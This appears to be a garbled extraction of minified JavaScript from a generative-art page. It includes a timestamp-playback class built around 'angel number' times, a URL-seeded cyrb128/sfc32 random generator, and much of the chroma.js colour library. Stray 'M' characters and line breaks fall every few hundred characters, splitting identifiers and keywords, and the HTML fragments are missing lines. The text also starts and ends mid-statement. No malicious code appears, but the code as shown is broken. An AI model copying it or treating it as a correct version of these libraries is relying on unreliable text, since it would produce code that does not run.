=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
